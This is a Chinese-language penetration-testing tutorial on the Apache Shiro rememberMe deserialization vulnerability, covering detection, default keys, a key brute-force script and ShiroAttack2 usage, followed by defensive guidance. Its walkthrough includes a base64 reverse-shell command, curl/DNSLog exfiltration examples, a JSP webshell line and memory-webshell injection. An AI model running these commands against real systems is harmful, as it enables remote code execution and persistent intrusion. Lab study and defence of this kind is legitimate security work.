Shiro反序列化漏洞原理与实战利用全解析
1. 项目概述:为什么Shiro漏洞是攻防演练中的“必争之地”
在近几年的网络安全攻防演练和渗透测试实战中,Apache Shiro反序列化漏洞几乎成了“兵家必争之地”。我参与过多次大型攻防对抗,无论是红队打点还是蓝队溯源,Shiro相关的攻击流量和告警日志总是高频出现。这并非偶然,而是由Shiro框架本身的应用广泛性、漏洞的“经典性”以及利用链的“稳定性”共同决定的。简单来说,Shiro是一个强大且易用的Java安全框架,提供了身份认证、授权、加密和会话管理等功能,被大量应用于各类Web应用,尤其是企业级应用中。而它的“记住我”(RememberMe)功能所依赖的Cookie序列化与反序列化机制,一旦密钥泄露或使用默认密钥,就为攻击者打开了一扇直通服务器后台的大门。
这个项目标题“攻防打点|Shiro漏洞利用大全【附工具】”精准地指向了实战场景。所谓“打点”,在红队评估中指的是初期信息收集后,寻找并突破边界,获取第一个立足点的过程。Shiro漏洞因其利用相对简单、危害直接(常导致远程代码执行RCE),成为了打点阶段最受青睐的突破口之一。而“大全”则意味着我们需要系统性地梳理,从漏洞原理、环境探测、密钥破解、利用链构造到工具化利用,形成一个完整的知识体系和操作闭环。本文将基于我多次在真实环境和授权靶场中的实战经验,为你拆解Shiro漏洞利用的每一个环节,并分享那些在标准漏洞复现文章里不会写的“踩坑”心得和高效工具链。
2. Shiro漏洞核心原理与历史脉络解析
要真正掌握利用,必须先理解其“病根”。Shiro漏洞的核心,几乎都围绕着一个名为rememberMe的Cookie。
2.1 “记住我”功能背后的安全风险
Shiro的“记住我”功能是为了提升用户体验,用户登录时勾选“记住我”,服务端会生成一个加密的rememberMeCookie发送给浏览器。下次用户访问时,浏览器携带此Cookie,Shiro会对其进行解密、反序列化,从而重建用户身份,实现免登录。
这个过程的安全链条非常脆弱:
- 序列化与加密:Shiro将用户身份信息(PrincipalCollection)使用Java原生序列化转换成字节流。
- AES加密:使用一个预定义的密钥(
cipherKey)对序列化后的字节流进行AES-CBC加密。 - Base64编码:将加密后的密文进行Base64编码,作为Cookie值发送。
- 逆过程:服务端收到Cookie后,进行Base64解码、AES解密,最后对解密得到的字节流进行反序列化。
致命弱点就在第4步的反序列化。Java反序列化本身就是一个危险操作,如果反序列化的数据是攻击者精心构造的恶意对象,并且在应用的ClassPath中存在可利用的链(利用链),就会触发远程代码执行。
2.2 密钥:一切漏洞的起点
Shiro的AES加密密钥是防御的第一道,也是最重要的一道防线。在早期版本(Shiro <= 1.2.4)中,框架使用了一个硬编码的默认密钥:kPH+bIxk5D2deZiIxcaaaA==。这意味着,如果开发人员没有在配置文件中显式地修改shiro.ini或ShiroConfig中的cipherKey,那么全球所有使用该版本的应用都使用同一个密钥。攻击者无需任何其他信息,直接用这个默认密钥就能尝试攻击。这个漏洞被编号为Shiro-550(CVE-2016-4437)。
即使开发人员修改了密钥,如果密钥强度不够(例如太短、太简单),或者密钥因代码泄露、配置文件泄露而被攻击者获取,那么应用同样门户大开。这就是为什么后续出现了许多针对密钥的爆破工具。
2.3 利用链:解锁RCE的“武器库”
仅有密钥还不够,我们还需要能将解密后的数据“转化”为代码执行的“武器”,这就是反序列化利用链(Gadget Chain)。Shiro漏洞的利用史,也是一部利用链的演进史。
- CommonsBeanutils链 (CB链):这是早期最经典、最通用的链。它依赖
commons-beanutils组件,该组件在大量Java Web应用中存在。利用这条链,攻击者可以构造一个特殊的对象,在反序列化时通过PropertyUtils的getter/setter机制调用任意类的任意方法,最终达到执行命令的目的。因其通用性,它成为了Shiro漏洞利用的“标配”。 - CommonsCollections链 (CC链):这是Java反序列化的“鼻祖”级利用链家族(如CC1, CC3, CC6等)。如果目标环境中存在相应版本的
commons-collections组件,这些链同样威力巨大。在Shiro的利用中,CC链常作为CB链的备选方案。 - 其他链:随着攻防升级,一些更冷门或在特定框架下存在的链也被挖掘出来,例如
ROME、Hibernate、Jackson等组件相关的链,用于应对目标环境缺少通用链的情况。
理解原理后,我们就能清晰地看到一条攻击路径:探测Shiro应用 -> 获取或爆破密钥 -> 选择匹配的利用链 -> 构造恶意序列化数据 -> 加密编码后发送 -> 触发反序列化执行命令。
3. 实战环境搭建与漏洞探测
“工欲善其事,必先利其器”。在开始攻击前,我们需要一个安全的实验环境。我强烈建议使用Docker来搭建漏洞靶场,它隔离性好,一键部署,非常适合学习和研究。
3.1 使用Vulhub快速搭建Shiro靶场
Vulhub是一个预置了大量漏洞环境Docker Compose配置的项目,极大简化了环境搭建。
# 1. 克隆Vulhub项目 git clone https://github.com/vulhub/vulhub.git cd vulhub/shiro/CVE-2016-4437 # 2. 启动靶场环境 docker-compose up -d # 3. 查看服务是否启动(通常运行在8080端口) docker-compose ps执行后,访问http://your-ip:8080就能看到一个带有登录页面的Shiro应用。这个环境默认使用了硬编码的密钥,完美复现了Shiro-550漏洞。
注意:请务必在虚拟机或隔离的网络环境中进行此操作,切勿在公网或公司生产网络搭建和测试,以免造成意外风险或法律问题。
3.2 如何判断一个站点使用了Shiro
在真实打点中,第一步是识别目标。Shiro应用有一些指纹特征:
- Cookie特征:最明显的标志是返回的HTTP响应头中
Set-Cookie字段包含rememberMe=deleteMe。当用户注销登录时,Shiro会发送此Cookie来清除客户端的rememberMe Cookie。即使没登录,在登录页面观察响应头,也可能会发现这个特征。 - URL或页面特征:Shiro相关的登录、注销URL可能包含
/login,/logout, 或者由Shiro过滤器管理的路径。 - 错误信息:在某些配置下,访问未授权页面可能会返回包含“Shiro”或“Unauthorized”等字样的默认错误页。
我们可以使用浏览器开发者工具(F12)的“网络”(Network)选项卡,或者使用Burp Suite这类代理工具拦截流量,仔细观察响应头来确认。
3.3 使用工具进行主动探测
手动观察效率低,我们可以借助工具。一个经典的探测方法是发送一个无效的rememberMeCookie,观察响应差异。
使用curl命令:
curl -v http://target:port/ -H "Cookie: rememberMe=1"或者使用Python脚本:
import requests url = "http://target:port/" headers = {"Cookie": "rememberMe=1"} resp = requests.get(url, headers=headers, timeout=5) if "rememberMe=deleteMe" in resp.headers.get('Set-Cookie', ''): print("[+] 目标可能使用Shiro框架。") else: print("[-] 未发现明显Shiro特征。")如果目标返回了deleteMe,这只是一个强提示,但并非百分百确定。更准确的方式是结合后续的密钥爆破结果来判断。
4. 密钥破解:从猜解到高效爆破
确认目标可能使用Shiro后,下一步就是尝试获取AES加密密钥。这是整个利用过程中技术含量相对较高的一环。
4.1 默认密钥与常见密钥字典
首先永远是尝试“运气”。除了那个著名的kPH+bIxk5D2deZiIxcaaaA==,框架历史上还有其他一些默认或常见的密钥:
4AvVhmFLUs0KTA3Kprsdag== Z3VucwAAAAAAAAAAAAAAAA== fCq+/xW488hMTCD+cmJ3aQ== 1QWLxg+NYmxraMoxAXu/Iw== 0AvVhmFLUs0KTA3Kprsdag== 1AvVhmFLUs0KTA3Kprsdag== ... (其他基于常见短语Base64编码的密钥)我们可以手动将这些密钥填入工具进行测试,但更高效的方法是使用字典。
4.2 使用ShiroAttack2进行密钥爆破
ShiroAttack2是一款图形化的集成攻击工具,它将探测、密钥爆破、利用链选择、Payload生成等功能集于一身,对新手非常友好。
操作步骤:
- 从GitHub等平台下载
ShiroAttack2的JAR包。 - 在命令行运行
java -jar ShiroAttack2.jar启动图形界面。 - 在“目标地址”栏输入
http://target:port。 - 点击“检测”按钮,工具会自动发送探测包并根据响应判断是否为Shiro。
- 在“密钥”选项中选择“爆破密钥”。工具内置了一个强大的密钥字典,包含了数十个常见密钥和通过爬取GitHub等公开代码库收集到的数千个真实使用的密钥。
- 点击“开始”运行爆破。爆破原理是工具使用字典中的每个密钥,去尝试解密一个固定的、已知的合法
rememberMeCookie(或构造的测试数据)。如果解密成功且反序列化不报错,则说明该密钥有效。
实战心得:
- 爆破速度:密钥爆破是计算密集型操作,但AES解密速度很快。即使面对数千个密钥的字典,通常也能在几分钟内完成。
- 结果判断:工具通常会给出“爆破成功”的提示,并显示找到的密钥。这是最理想的情况。
- 无结果怎么办:如果内置字典爆破失败,可能意味着目标使用了完全随机的强密钥。这时,漏洞利用就可能止步于此,除非能通过其他途径(如源码泄露、配置备份文件泄露)获取密钥。这也从侧面说明了修改默认密钥并使用强密钥是至关重要的防御措施。
4.3 使用Python脚本进行定制化爆破
对于喜欢命令行或需要集成到自动化流程中的场景,我们可以用Python实现爆破。核心是使用pycryptodome库进行AES解密,并捕获反序列化异常。
import base64 import requests from Crypto.Cipher import AES from Crypto.Util.Padding import unpad import sys def shiro_key_bruteforce(target_url, key_dict_file): """ 针对Shiro的密钥爆破脚本 :param target_url: 目标URL :param key_dict_file: 密钥字典文件路径,每行一个Base64编码的密钥 """ # 一个已知的或构造的测试Cookie(这里需要替换为一个从目标获取或通用的测试值) # 注意:在实际中,可能需要先获取一个合法的rememberMe Cookie作为测试样本 test_cookie = "此处填入一个Base64编码的rememberMe Cookie值" ciphertext = base64.b64decode(test_cookie) with open(key_dict_file, 'r') as f: keys = [line.strip() for line in f if line.strip()] for key_b64 in keys: try: key = base64.b64decode(key_b64) cipher = AES.new(key, AES.MODE_CBC, iv=key[:16]) # Shiro使用CBC模式,IV是密钥的前16字节 decrypted = unpad(cipher.decrypt(ciphertext[16:]), AES.block_size) # 前16字节是IV # 如果解密成功且能反序列化(这里简单尝试反序列化,实际需更严谨) # 为了简化,我们假设解密出的数据开头是Java序列化魔数aced0005 if decrypted[:4] == b'\xac\xed\x00\x05': print(f"[+] 发现有效密钥: {key_b64}") return key_b64 except Exception as e: # 解密失败或padding错误会抛出异常,继续尝试下一个密钥 continue print("[-] 密钥爆破失败。") return None # 使用示例 if __name__ == "__main__": target = "http://192.168.1.100:8080" dict_file = "shiro_keys.txt" found_key = shiro_key_bruteforce(target, dict_file)重要提示:上述脚本中的
test_cookie需要是一个有效的、从目标网站获取的rememberMeCookie值,否则爆破没有意义。获取方式可以通过先正常登录(如果有账号)并勾选“记住我”,或者利用Shiro某些不严谨的报错信息来间接获取。这是一个关键的实操细节。
5. 利用链选择与Payload构造
拿到密钥后,我们就拿到了加密箱子的钥匙。接下来需要选择合适的“武器”(利用链)放进箱子里,让服务器在打开(反序列化)时触发。
5.1 利用链检测
不是所有环境都存在可用的利用链。我们需要检测目标应用的ClassPath中是否存在常见的依赖库。ShiroAttack2工具也集成了这个功能。
在“利用链”选项区域,点击“检测利用链”。工具会使用当前已破解的密钥,依次尝试发送不同利用链生成的、但仅用于检测的Payload(通常是一个触发延迟的Payload,如执行sleep 5)。如果服务器响应时间明显变长,则说明对应的利用链可用。
常见的检测结果可能有:
CommonsBeanutils1✔️CommonsCollectionsK1✔️CB链+TomcatEcho✔️- ...
5.2 命令执行Payload的构造
检测到可用链后,就可以构造真正的命令执行Payload了。在ShiroAttack2中,你只需要:
- 在“利用链”下拉框中选择一个检测可用的链(如
CommonsBeanutils1)。 - 在“命令”输入框中填写要执行的系统命令,例如
whoami、id、ifconfig或更复杂的bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}(这是一个Base64编码的反弹Shell命令)。 - 点击“攻击”,工具会自动完成序列化、加密、编码,并将最终的
rememberMeCookie发送给目标。
底层原理简述: 工具内部使用了著名的ysoserial项目(或它的变种/重写)。ysoserial是一个专门用于生成Java反序列化利用Payload的工具集。当我们选择CommonsBeanutils1链并指定命令whoami时,ShiroAttack2会调用相应的模块,生成一个恶意的Java对象。这个对象在被反序列化时,会通过一系列复杂的Getter/Setter调用,最终执行Runtime.getRuntime().exec("whoami")。
5.3 回显与无回显利用
- 有回显:如果执行的命令结果能直接显示在HTTP响应中(例如,某些页面会输出错误信息,其中包含了命令执行结果),这是最理想的情况。
ShiroAttack2的“命令执行结果”框会显示出来。 - 无回显(盲注):大多数情况下,命令执行了,但输出不会直接返回给HTTP响应。这时我们需要使用其他技术:
- DNSLog外带:执行如
curl http://your-dnslog-domain/$(whoami|base64)的命令,通过DNS查询将命令结果带出。 - HTTP请求外带:使用
curl或wget将命令结果发送到我们控制的服务器。 - 反弹Shell:这是最有效的方式,直接让目标服务器主动连接我们的监听端口,建立一个交互式Shell。上面给出的Base64编码命令就是一个典型的Bash反弹Shell Payload。
- DNSLog外带:执行如
实操避坑指南:
- 命令中的空格与特殊字符:在构造Payload时,空格、管道符
|、重定向符>等需要特别注意。使用Base64编码是规避这类问题的好方法。ShiroAttack2通常会自动处理。 - Java Runtime.exec的坑:
Runtime.exec()并不是启动一个Shell,它执行命令的方式与Shell有差异。复杂命令(如包含管道、重定向)需要以字符串数组形式传递,或者直接调用bash -c。工具生成的Payload一般已经妥善处理。 - 利用链兼容性:如果
CommonsBeanutils1链失败,可以尝试其他检测可用的链,如CommonsCollectionsK1、CB链+TomcatEcho等。不同链对目标环境的依赖略有不同。
6. 工具化利用全流程与实战演示
让我们串联起所有步骤,进行一次完整的、工具辅助的实战演示。假设目标为http://192.168.1.100:8080。
6.1 步骤一:环境探测与指纹识别
使用浏览器或curl访问目标,查看响应头。
curl -I http://192.168.1.100:8080/login在返回的HTTP头中寻找Set-Cookie: rememberMe=deleteMe。如果找到,初步判定为Shiro。
6.2 步骤二:启动ShiroAttack2并加载目标
- 运行
java -jar ShiroAttack2.jar。 - 在“目标地址”输入
http://192.168.1.100:8080。 - 点击“检测”。工具会发送多个探测包,并在日志区域显示
[+] 目标存在Shiro框架特征!。
6.3 步骤三:爆破加密密钥
- 在“密钥”模块选择“爆破密钥”。
- 点击“开始”。工具会使用内置字典进行爆破。
- 等待片刻,日志区域显示
[+] 密钥爆破成功:kPH+bIxk5D2deZiIxcaaaA==。成功获取密钥。
6.4 步骤四:检测可利用的链
- 在“利用链”模块点击“检测利用链”。
- 工具会依次尝试CB、CC等链的检测Payload(通常是sleep命令)。
- 检测完成,在“利用链”下拉框中可以看到可用的选项,例如
[+] CommonsBeanutils1 利用链可用。
6.5 步骤五:执行命令并获取回显
- 在“利用链”下拉框选择
CommonsBeanutils1。 - 在“命令”输入框输入
whoami。 - 点击“攻击”。
- 观察下方“命令执行结果”区域。如果漏洞存在且命令执行成功,可能会显示
root或tomcat等用户名。但很多情况下,由于Web应用运行在无回显环境,这里可能是空的。
6.6 步骤六:无回显下的利用——反弹Shell
由于上一步无回显,我们需要获取一个交互式Shell。
- 在攻击机上(假设IP为192.168.1.50)使用Netcat监听一个端口:
nc -lvnp 4444 - 构造一个反弹Shell的Bash命令,并对其进行Base64编码:
echo "bash -i >& /dev/tcp/192.168.1.50/4444 0>&1" | base64 # 输出:YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuNTAvNDQ0NCAwPiYx - 在
ShiroAttack2的“命令”输入框中输入解码并执行该命令的指令:bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuNTAvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i} - 点击“攻击”。
- 回到Netcat监听窗口,如果成功,你会看到来自目标服务器的Shell连接提示,可以执行
whoami,pwd,ls等命令进行验证。
至此,我们完成了从探测到获取Shell的完整流程。
7. 高级利用技巧与深度绕过
在实战和更高强度的防守环境下,可能会遇到一些障碍,需要更高级的技巧。
7.1 利用链的扩展与内存马注入
直接执行命令虽然有效,但重启即失效。内存WebShell(内存马)提供了更持久的后门。其原理是利用漏洞执行代码,向当前运行的Java Web容器(如Tomcat、Spring)动态注册一个恶意的Filter、Servlet或Controller,这个恶意组件会拦截特定请求,执行攻击者指令。
工具实现:ShiroAttack2等高级工具已经集成了内存马注入功能。例如,选择“利用链”为CB链+TomcatEcho或BehinderFilter(冰蝎内存马),并配置好连接密码和路径,攻击后就会在目标Tomcat中注入一个Filter型内存马。之后,攻击者可以使用客户端(如冰蝎、蚁剑)直接连接这个路径进行文件管理、命令执行等操作,且重启后失效,隐蔽性强。
防御视角:内存马是蓝队检测的难点,需要依靠RASP(运行时应用自保护)、Agent内存扫描或流量分析来发现异常。
7.2 密钥的进一步获取思路
如果字典爆破失败,还有哪些思路?
- 源码泄露:通过
.git目录泄露、DS_Store文件、备份文件(如web.zip,app.tar.gz)、配置文件名猜测(application.properties,shiro.ini)等,尝试下载源码或配置文件,从中寻找cipherKey配置项。 - 环境信息泄露:某些不当的异常处理可能会将部分密钥或堆栈信息打印到错误页面或日志中。
- 旁站或同框架应用:如果目标是一个大型应用集群,其他子站或服务可能使用了相同的密钥。
7.3 不出网场景下的利用
在内网渗透中,目标服务器可能无法访问外网(不出网),导致DNSLog、HTTP外带、反弹Shell均失效。
- 写入WebShell:如果可以执行命令,并且知道Web应用的绝对路径,可以尝试直接写入一个JSP或JSPX的WebShell文件。
echo '<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>' > /tmp/shell.jsp # 然后需要想办法将文件移动到web目录,如 /var/www/html/ - 端口复用与流量转发:利用已建立的通道(如果存在其他入口)进行流量转发。
- 利用现有服务:尝试连接内网其他数据库、服务等,进行横向移动。
8. 防御措施与排查建议(蓝队视角)
作为防御方,了解攻击手法是为了更好地防护。
8.1 根本性修复方案
- 升级Shiro版本:及时升级到最新安全版本(如1.13.0+),新版本不仅修复了已知漏洞,还提供了更安全的默认配置。
- 使用强密钥并妥善保管:在配置中,必须显式设置
cipherKey,并使用安全的随机生成算法(如AES-256)生成足够长且复杂的密钥,并像保护密码一样保护它。# shiro.ini 示例 securityManager.rememberMeManager.cipherKey = your_strong_random_base64_encoded_key_here - 禁用RememberMe功能:如果业务不需要,直接在配置中关闭此功能。
- 升级依赖库:及时升级
commons-beanutils,commons-collections等组件到无危险利用链的版本。
8.2 运行时防护与检测
- WAF/IDS/IPS规则:部署规则,拦截包含特征(如
rememberMeCookie过长、包含特定序列化魔数)的请求。 - RASP(运行时应用自保护):在应用内部植入探针,实时监控反序列化、命令执行、文件读写等危险行为,并可直接阻断。
- 流量审计与日志分析:集中收集Web访问日志和应用日志,监控异常的
rememberMeCookie请求、大量的解密失败错误(可能为爆破行为)以及非常规的命令执行日志。 - 内存马检测:定期使用专业工具或脚本扫描Java进程内存,查找异常的Filter、Servlet或Controller映射。
8.3 应急排查清单
如果怀疑系统已被入侵,可按照以下步骤排查:
- 检查日志:立即审查应用日志、Web服务器访问日志,搜索
rememberMe、Runtime.exec、ProcessBuilder等关键词。 - 检查进程与网络连接:使用
netstat -antp或ss -antp查看是否有可疑的外连或监听端口。使用ps aux查看是否有异常Java进程或命令。 - 检查Web目录:查找近期新增的、可疑的JSP/JSPX文件,特别是位于上传目录或临时目录的。
- 检查计划任务:查看
crontab -l和/etc/cron.d/等位置是否有恶意任务。 - 使用专业工具扫描:使用如
Java-memshell-scanner等工具对运行中的Java应用进行内存马扫描。
Shiro漏洞的攻防是一场关于“密钥”和“利用链”的博弈。红队需要不断地丰富密钥字典、挖掘新的利用链;而蓝队则需要坚决地使用强密钥、升级组件、并部署纵深检测体系。理解这套完整的流程,无论是为了在授权范围内进行有效的安全测试,还是为了构建更稳固的防御,都至关重要。在实战中,每一个环节都可能遇到意想不到的问题,多搭建环境练习,多思考异常情况的处理,经验就是在一次次“踩坑”和“排坑”中积累起来的。
